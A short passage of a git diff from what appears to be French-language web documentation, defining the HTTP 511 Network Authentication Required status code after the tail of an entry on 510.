Des extensions supplémentaires sont requises afin que le serveur puisse satisfaire la requête.
+
{{HTTPStatus(511, "511 Network Authentication Required")}}
+
Le code de statut 511 indique que le client doit s'authentifier afin de pouvoir accéder au réseau.
+
+ +

Voir aussi

+ + \ No newline at end of file -- cgit v1.2.3-54-g00ecf